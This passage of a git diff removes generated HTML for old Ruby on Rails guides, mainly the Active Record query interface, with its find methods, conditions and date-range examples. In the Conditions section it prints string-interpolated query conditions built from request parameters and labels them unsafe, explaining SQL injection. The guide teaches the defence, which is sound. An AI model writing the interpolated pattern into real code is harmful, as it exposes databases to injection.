- render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"404 Not Found"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">404</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Of course, this example is anything but elaborate and doesn&#8217;t improve on the default exception handling at all, but once you can catch all those exceptions you&#8217;re free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn&#8217;t have access to a certain section of your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
- rescue_from User<span style="color: #990000">::</span>NotAuthorized<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>user_not_authorized
-
-private
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> user_not_authorized
- flash<span style="color: #990000">[:</span>error<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"You don't have access to this section."</span>
- redirect_to <span style="color: #990000">:</span>back
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ClientsController <span style="color: #990000">&lt;</span> ApplicationController
-
- <span style="font-style: italic"><span style="color: #9A1900"># Check that the user has the right authorization to access clients.</span></span>
- before_filter <span style="color: #990000">:</span>check_authorization
-
- <span style="font-style: italic"><span style="color: #9A1900"># Note how the actions don't have to worry about all the auth stuff.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
- <span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-private
-
- <span style="font-style: italic"><span style="color: #9A1900"># If the user is not authorized, just throw the exception.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_authorization
- <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> User<span style="color: #990000">::</span>NotAuthorized <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> current_user<span style="color: #990000">.</span>admin?
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik&#8217;s <a href="http://m.onkey.org/2008/7/20/rescue-from-dispatching">article</a> on the subject for more information.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_changelog">14. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-November 4, 2008: First release version by Tore Darrell
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/active_record_querying.html b/railties/doc/guides/html/active_record_querying.html
deleted file mode 100644
index e42bd80e2b..0000000000
--- a/railties/doc/guides/html/active_record_querying.html
+++ /dev/null
@@ -1,932 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Active Record Query Interface</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_retrieving_objects">Retrieving objects</a>
- </li>
- <li>
- <a href="#_conditions">Conditions</a>
- <ul>
-
- <li><a href="#_pure_string_conditions">Pure String Conditions</a></li>
-
- <li><a href="#_array_conditions">Array Conditions</a></li>
-
- <li><a href="#_placeholder_conditions">Placeholder Conditions</a></li>
-
- <li><a href="#_hash_conditions">Hash Conditions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_ordering">Ordering</a>
- </li>
- <li>
- <a href="#_selecting_certain_fields">Selecting Certain Fields</a>
- </li>
- <li>
- <a href="#_limit_amp_offset">Limit &amp; Offset</a>
- </li>
- <li>
- <a href="#_group">Group</a>
- </li>
- <li>
- <a href="#_having">Having</a>
- </li>
- <li>
- <a href="#_read_only">Read Only</a>
- </li>
- <li>
- <a href="#_lock">Lock</a>
- </li>
- <li>
- <a href="#_making_it_all_work_together">Making It All Work Together</a>
- </li>
- <li>
- <a href="#_eager_loading">Eager Loading</a>
- </li>
- <li>
- <a href="#_dynamic_finders">Dynamic finders</a>
- </li>
- <li>
- <a href="#_finding_by_sql">Finding By SQL</a>
- </li>
- <li>
- <a href="#_tt_select_all_tt"><tt>select_all</tt></a>
- </li>
- <li>
- <a href="#_working_with_associations">Working with Associations</a>
- </li>
- <li>
- <a href="#_named_scopes">Named Scopes</a>
- <ul>
-
- <li><a href="#_simple_named_scopes">Simple Named Scopes</a></li>
-
- <li><a href="#_combining_named_scopes">Combining Named Scopes</a></li>
-
- <li><a href="#_runtime_evaluation_of_named_scope_conditions">Runtime Evaluation of Named Scope Conditions</a></li>
-
- <li><a href="#_named_scopes_with_multiple_models">Named Scopes with Multiple Models</a></li>
-
- <li><a href="#_arguments_to_named_scopes">Arguments to Named Scopes</a></li>
-
- <li><a href="#_anonymous_scopes">Anonymous Scopes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_existence_of_objects">Existence of Objects</a>
- </li>
- <li>
- <a href="#_calculations">Calculations</a>
- <ul>
-
- <li><a href="#_count">Count</a></li>
-
- <li><a href="#_average">Average</a></li>
-
- <li><a href="#_minimum">Minimum</a></li>
-
- <li><a href="#_maximum">Maximum</a></li>
-
- <li><a href="#_sum">Sum</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Active Record Query Interface</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Find records using a variety of methods and conditions
-</p>
-</li>
-<li>
-<p>
-Specify the order, retrieved attributes, grouping, and other properties of the found records
-</p>
-</li>
-<li>
-<p>
-Use eager loading to reduce the number of database queries needed for data retrieval
-</p>
-</li>
-<li>
-<p>
-Use dynamic finders methods
-</p>
-</li>
-<li>
-<p>
-Create named scopes to add custom finding behavior to your models
-</p>
-</li>
-<li>
-<p>
-Check for the existence of particular records
-</p>
-</li>
-<li>
-<p>
-Perform various calculations on Active Record models
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>If you&#8217;re used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.</p></div>
-<div class="paragraph"><p>Code examples throughout this guide will refer to one or more of the following models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>address
- has_one <span style="color: #990000">:</span>mailing_address
- has_many <span style="color: #990000">:</span>orders
- has_and_belongs_to_many <span style="color: #990000">:</span>roles
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>client
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000">&lt;</span> Address
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>client<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_and_belongs_to_many <span style="color: #990000">:</span>clients
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="paragraph"><p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you&#8217;re using, the Active Record method format will always be the same.</p></div>
-</div></div>
-</div>
-</div>
-<h2 id="_retrieving_objects">1. Retrieving objects</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>To retrieve objects from the database, Active Record provides a primary method called <tt>find</tt>. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type <tt>Client.find(1)</tt> which would execute this query on your database:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="color: #990000">=</span> <span style="color: #993399">1</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because this is a standard table created from a migration in Rails, the primary key is defaulted to <em>id</em>. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>If you wanted to find clients with id 1 or 2, you call <tt>Client.find([1,2])</tt> or <tt>Client.find(1,2)</tt> and then this will be executed as:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">))</span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.find(1,2)
-=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
- #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
-</div></div>
-<div class="paragraph"><p>Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If <tt>find(id)</tt> or <tt>find([id1, id2])</tt> fails to find any records, it will raise a RecordNotFound exception.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>If you wanted to find the first Client object you would simply type <tt>Client.first</tt> and that would find the first client in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.first
-=&gt; #&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
-<div class="paragraph"><p>Indicating the query that Rails has performed on your database.</p></div>
-<div class="paragraph"><p>To find the last Client object you would simply type <tt>Client.last</tt> and that would find the last client created in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.last
-=&gt; #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>If you were reading your log file (the default is log/development.log) you may see something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. <tt>created_at</tt>) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">ORDER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> clients<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">DESC</span></span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span></tt></pre></div></div>
-<div class="paragraph"><p>To find all the Client objects you would simply type <tt>Client.all</tt> and that would find all the clients in your clients table:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&gt;&gt; Client.all
-=&gt; [#&lt;Client id: 1, name: =&gt; "Ryan", locked: false, orders_count: 2,
- created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"&gt;,
- #&lt;Client id: 2, name: =&gt; "Michael", locked: false, orders_count: 3,
- created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"&gt;]</tt></pre>
-</div></div>
-<div class="paragraph"><p>You may see in Rails code that there are calls to methods such as <tt>Client.find(:all)</tt>, <tt>Client.find(:first)</tt> and <tt>Client.find(:last)</tt>. These methods are just alternatives to <tt>Client.all</tt>, <tt>Client.first</tt> and <tt>Client.last</tt> respectively.</p></div>
-<div class="paragraph"><p>Be aware that <tt>Client.first</tt>/<tt>Client.find(:first)</tt> and <tt>Client.last</tt>/<tt>Client.find(:last)</tt> will both return a single object, where as <tt>Client.all</tt>/<tt>Client.find(:all)</tt> will return an array of Client objects, just as passing in an array of ids to <tt>find</tt> will do also.</p></div>
-</div>
-<h2 id="_conditions">2. Conditions</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The <tt>find</tt> method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.</p></div>
-<h3 id="_pure_string_conditions">2.1. Pure String Conditions</h3>
-<div class="paragraph"><p>If you&#8217;d like to add conditions to your find, you could just specify them in there, just like <tt>Client.first(:conditions =&gt; "orders_count = <em>2</em>")</tt>. This will find all clients where the <tt>orders_count</tt> field&#8217;s value is 2.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, <tt>Client.first(:conditions =&gt; "name LIKE <em>%#{params[:name]}%</em>")</tt> is not safe. See the next section for the preferred way to handle conditions using an array.</td>
-</tr></table>
-</div>
-<h3 id="_array_conditions">2.2. Array Conditions</h3>
-<div class="paragraph"><p>Now what if that number could vary, say as a argument from somewhere, or perhaps from the user&#8217;s level status somewhere? The find then becomes something like <tt>Client.first(:conditions =&gt; ["orders_count = ?", params[:orders]])</tt>. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like <tt>Client.first(:conditions =&gt; ["orders_count = ? AND locked = ?", params[:orders], false])</tt>. In this example, the first question mark will be replaced with the value in <tt>params[:orders]</tt> and the second will be replaced with the SQL representation of <tt>false</tt>, which depends on the adapter.</p></div>
-<div class="paragraph"><p>The reason for doing code like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders_count = ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>orders<span style="color: #990000">]])</span></tt></pre></div></div>
-<div class="paragraph"><p>instead of:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders_count = #{params[:orders]}"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on the dangers of SQL injection, see the <a href="../security.html#_sql_injection">Ruby on Rails Security Guide</a>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>If you&#8217;re looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
- <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span></tt></pre></div></div>
-<div class="paragraph"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that&#8217;s 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> users <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
- <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-31'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-01'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-02'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-03'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-04'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-05'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'2008-01-06'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-07'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-08'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-09'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-10'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-11'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'2008-01-12'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-13'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-14'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-15'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-16'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-17'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'2008-01-18'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-19'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-20'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-21'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-22'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-23'</span><span style="color: #990000">,...</span>
- ‘<span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">15</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">16</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">17</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">18</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">19</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">20</span><span style="color: #FF0000">',</span>
-<span style="color: #FF0000"> '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">21</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">22</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">23</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">24</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">25</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">26</span><span style="color: #FF0000">',</span>
-<span style="color: #FF0000"> '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span></tt></pre></div></div>
-<div class="paragraph"><p>Things can get <strong>really</strong> messy if you pass in Time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
- <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span></tt></pre></div></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> users <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
- <span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-01 00:00:00'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-01 00:00:01'</span> <span style="color: #990000">...</span>
- <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span></tt></pre></div></div>
-<div class="paragraph"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
-<div class="listingblock">
-<div class="content">
